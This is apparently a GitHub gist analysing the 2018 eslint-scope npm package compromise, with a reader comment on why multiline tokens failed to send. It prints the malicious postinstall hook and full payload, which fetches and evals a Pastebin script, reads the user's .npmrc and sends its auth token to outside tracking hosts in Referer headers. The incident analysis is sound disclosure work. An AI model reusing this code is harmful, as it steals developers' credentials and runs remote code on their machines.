Skip to content

Instantly share code, notes, and snippets.

@hzoo
Created July 12, 2018 19:20
Show Gist options
  • Star 89 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save hzoo/51cb84afdc50b14bffa6c6dc49826b3e to your computer and use it in GitHub Desktop.
Save hzoo/51cb84afdc50b14bffa6c6dc49826b3e to your computer and use it in GitHub Desktop.
eslint-scope attack

The attacker modified package.json in both eslint-escope@3.7.2 and eslint-config-eslint@5.0.2, adding a postinstall script to run build.js.

{
+ "postinstall": "node ./lib/build.js",
}

build.js

This script downloads another script from Pastebin and evals its contents.

Some people have reported that this code has an issue:

r.on("data", c => {
  eval(c);
});

Because it doesn't wait for the request to complete, it is possible for the reqeuest to only send part of the script and the eval call to fail with a SyntaxError, which is how the issue was discovered.

pastebin (https://pastebin.com/XLeVP82h, taken down)

The script extracts the _authToken from a user's .npmrc and sends it to histats and statcounter inside the Referer header.

try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
Accept:
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
}
},
r => {
r.setEncoding("utf8");
r.on("data", c => {
eval(c);
});
r.on("error", () => {});
}
)
.on("error", () => {});
} catch (e) {}
try {
var path = require("path");
var fs = require("fs");
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
var content = "nofile";
if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, { encoding: "utf8" });
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();
var https1 = require("https");
https1
.get(
{
hostname: "sstatic1.histats.com",
path: "/0.gif?4103075&101",
method: "GET",
headers: { Referer: "http://1.a/" + content }
},
() => {}
)
.on("error", () => {});
https1
.get(
{
hostname: "c.statcounter.com",
path: "/11760461/0/7b5b9d71/1/",
method: "GET",
headers: { Referer: "http://2.b/" + content }
},
() => {}
)
.on("error", () => {});
}
} catch (e) {}
@alexh-ml
Copy link

alexh-ml commented Jul 14, 2018

@reinier-vegter It's true that the regex will only try to remove the prefix and send the entire contents of the file.
They also did not escape the header though, so any multiline .npmrc files would not have made it through.

$ node -e "require('https').get({ headers: { 'user-agent': 'invalid\nheader', hostname: 'localhost' } })"


_http_outgoing.js:465
    throw err;
    ^

TypeError [ERR_INVALID_CHAR]: Invalid character in header content ["user-agent"]
    at ClientRequest.setHeader (_http_outgoing.js:474:3)
    at new ClientRequest (_http_client.js:184:14)
    at request (https.js:272:10)
    at Object.get (https.js:276:15)
    at [eval]:1:18
    at Script.runInThisContext (vm.js:91:20)
    at Object.runInThisContext (vm.js:298:38)
    at Object.<anonymous> ([eval]-wrapper:6:22)
    at Module._compile (internal/modules/cjs/loader.js:702:30)
    at evalScript (internal/bootstrap/node.js:531:27)

Is there a way to know the history of the pastebin? Could the script have been patched ever?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment